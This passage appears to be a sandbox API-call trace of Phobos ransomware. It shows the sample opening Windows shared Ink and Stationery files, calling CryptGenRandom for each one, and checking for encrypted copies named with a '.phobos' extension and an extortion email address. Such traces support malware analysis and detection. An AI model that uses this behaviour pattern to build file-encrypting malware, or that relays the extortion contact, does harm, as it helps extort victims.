shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.055] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.056] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.056] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0148.056] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=219) returned 1 [0148.056] CloseHandle (hObject=0x568) returned 1 [0148.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml")) returned 0x20 [0148.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.057] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.057] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.057] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0148.057] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=924) returned 1 [0148.057] CloseHandle (hObject=0x568) returned 1 [0148.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml")) returned 0x20 [0148.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.059] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.059] ResetEvent (hEvent=0x50c) returned 1 [0148.059] SetEvent (hEvent=0x510) returned 1 [0148.059] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.059] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0148.059] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=215) returned 1 [0148.059] CloseHandle (hObject=0x568) returned 1 [0148.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml")) returned 0x20 [0148.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.060] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0148.061] ResetEvent (hEvent=0x50c) returned 1 [0148.061] SetEvent (hEvent=0x510) returned 1 [0148.061] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.061] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0148.061] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=694) returned 1 [0148.061] CloseHandle (hObject=0x56c) returned 1 [0148.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml")) returned 0x20 [0148.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.062] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.062] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0148.063] ResetEvent (hEvent=0x50c) returned 1 [0148.063] SetEvent (hEvent=0x510) returned 1 [0148.063] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0148.063] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=805) returned 1 [0148.063] CloseHandle (hObject=0x56c) returned 1 [0148.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml")) returned 0x20 [0148.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.064] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0148.087] ResetEvent (hEvent=0x50c) returned 1 [0148.087] SetEvent (hEvent=0x510) returned 1 [0148.087] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.087] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0148.088] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3823) returned 1 [0148.088] CloseHandle (hObject=0x56c) returned 1 [0148.090] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml")) returned 0x20 [0148.090] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.090] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.090] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0148.091] ResetEvent (hEvent=0x50c) returned 1 [0148.091] SetEvent (hEvent=0x510) returned 1 [0148.091] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.091] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0148.091] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=591) returned 1 [0148.091] CloseHandle (hObject=0x568) returned 1 [0148.091] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml")) returned 0x20 [0148.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.092] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.092] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0148.312] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.312] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0148.314] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2542) returned 1 [0148.314] CloseHandle (hObject=0x570) returned 1 [0148.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml")) returned 0x20 [0148.315] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.315] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.315] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.315] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0148.315] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2568) returned 1 [0148.316] CloseHandle (hObject=0x570) returned 1 [0148.316] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml")) returned 0x20 [0148.316] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.316] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.316] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.317] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0148.317] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2596) returned 1 [0148.317] CloseHandle (hObject=0x570) returned 1 [0148.317] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml")) returned 0x20 [0148.317] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.317] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.318] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.318] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0148.319] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2520) returned 1 [0148.319] CloseHandle (hObject=0x570) returned 1 [0148.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml")) returned 0x20 [0148.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.320] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.320] ResetEvent (hEvent=0x50c) returned 1 [0148.320] SetEvent (hEvent=0x510) returned 1 [0148.320] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.320] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0148.320] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2720) returned 1 [0148.321] CloseHandle (hObject=0x570) returned 1 [0148.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml")) returned 0x20 [0148.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.321] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.321] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0148.360] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.360] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0148.364] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=255) returned 1 [0148.364] CloseHandle (hObject=0x560) returned 1 [0148.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0148.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.365] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.365] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.365] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0148.369] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1074) returned 1 [0148.369] CloseHandle (hObject=0x560) returned 1 [0148.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0148.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.370] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.370] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.370] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0148.371] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=231) returned 1 [0148.371] CloseHandle (hObject=0x560) returned 1 [0148.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0148.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.371] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.372] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.372] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0148.373] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=23871) returned 1 [0148.373] CloseHandle (hObject=0x560) returned 1 [0148.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0148.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.373] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common 